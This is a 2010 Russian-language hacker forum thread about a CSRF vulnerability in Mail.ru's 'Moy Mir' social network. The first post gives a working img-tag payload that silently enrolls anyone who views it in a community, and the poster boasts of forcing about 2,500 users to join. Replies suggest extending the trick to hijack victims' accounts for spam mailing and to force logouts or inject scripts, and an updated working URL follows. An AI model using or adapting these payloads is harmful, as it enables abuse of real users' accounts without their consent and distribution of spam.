ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу CSRF на МОЙ МИР
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

CSRF на МОЙ МИР(УЖЕ ЗАКРЫЛИ =()
  #1  
Старый 15.04.2010, 14:06
Аватар для life_glider
life_glider
Познающий
Регистрация: 13.04.2010
Сообщений: 42
Провел на форуме:
460968

Репутация: 81
Talking CSRF на МОЙ МИР(УЖЕ ЗАКРЫЛИ =()
Можно подделать GET запрос вступления в сообщество
отправив в сообщении картинку:
Код:
<img src='http://my.mail.ru/community/wtfo_o/community-participate?participate=1&back=.gif' alt=""/>
без спама создал сообщество и в него вступили около 2500 человек.
Пример:
http://my.mail.ru/community/ilovemailru/
Паника:
http://my.mail.ru/community/shosse/5DB670B26D452A64.html
Просто из сообщества выйти бало весьма затруднительно
возможно есть другие идеи?
Последний раз редактировалось life_glider; 16.04.2010 в 19:25..
 
Ответить с цитированием

  #2  
Старый 15.04.2010, 15:08
Аватар для Komyak
Komyak
Участник форума
Регистрация: 15.01.2009
Сообщений: 158
Провел на форуме:
469704

Репутация: 26
По умолчанию
Респект!! =)) Особенно отзывы в гостевой и по второй ссыле понравились. =))
 
Ответить с цитированием

  #3  
Старый 15.04.2010, 15:35
Аватар для satana-fu
satana-fu
Moderator - Level 7
Регистрация: 06.02.2009
Сообщений: 195
Провел на форуме:
2485155

Репутация: 719
Отправить сообщение для satana-fu с помощью ICQ
По умолчанию
если тег <img src=""> проходит нормально в Моем Мире, этого можно извлечь кучу выгод, вступление в группу это лишь кусочек.
Попробуй активировать им скрипт рассылки писем и получишь бесплатный спамер с разных айпи...

Делал как то такое на ukr.net и mail.ru, когда тестил. Возможны и другие применения...
 
Ответить с цитированием

  #4  
Старый 15.04.2010, 16:16
Аватар для life_glider
life_glider
Познающий
Регистрация: 13.04.2010
Сообщений: 42
Провел на форуме:
460968

Репутация: 81
По умолчанию
logout, попытаться впендюрить скрипт или форму через ифрэйм?
 
Ответить с цитированием

  #5  
Старый 15.04.2010, 23:41
Аватар для Jerri
Jerri
Участник форума
Регистрация: 12.07.2009
Сообщений: 158
Провел на форуме:
2510517

Репутация: 334
Отправить сообщение для Jerri с помощью ICQ
По умолчанию
Цитата:
http://my.mail.ru/community/wtfo_o/
Прикольно, респект.)
 
Ответить с цитированием

  #6  
Старый 16.04.2010, 07:03
Аватар для life_glider
life_glider
Познающий
Регистрация: 13.04.2010
Сообщений: 42
Провел на форуме:
460968

Репутация: 81
По умолчанию
http://my.mail.ru/community/mama-love/community-participate?mna=627251&mnb=4183580616&participate= 1

теперь в сообщества надо добавляться так. Но по стараму тоже канает.
Последний раз редактировалось life_glider; 16.04.2010 в 07:18..
 
Ответить с цитированием

  #7  
Старый 16.04.2010, 16:05
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию
в понедельник прикроем
 
Ответить с цитированием

  #8  
Старый 16.04.2010, 18:51
Аватар для S1ash
S1ash
Новичок
Регистрация: 19.11.2007
Сообщений: 23
Провел на форуме:
147347

Репутация: 0
По умолчанию
еще работает?
как сделать?
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Продажа] Акков Mail.ru (Друзья в Мой Мир, Агент). Подходят для Ретрива. Slapp Покупка, продажа, услуги в Соц. Сетях 2 28.04.2010 09:40
[Продаю] Чеккер для аккаунтов соц. сети Мой Мир AquaKlaster Покупка, продажа, услуги в Соц. Сетях 0 06.11.2009 22:25
Продажа аккаунтов! Mail.RU , Мой Мир, [В]контакте MaiL-SeLL Покупка, продажа, услуги в Соц. Сетях 19 19.06.2009 18:50



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ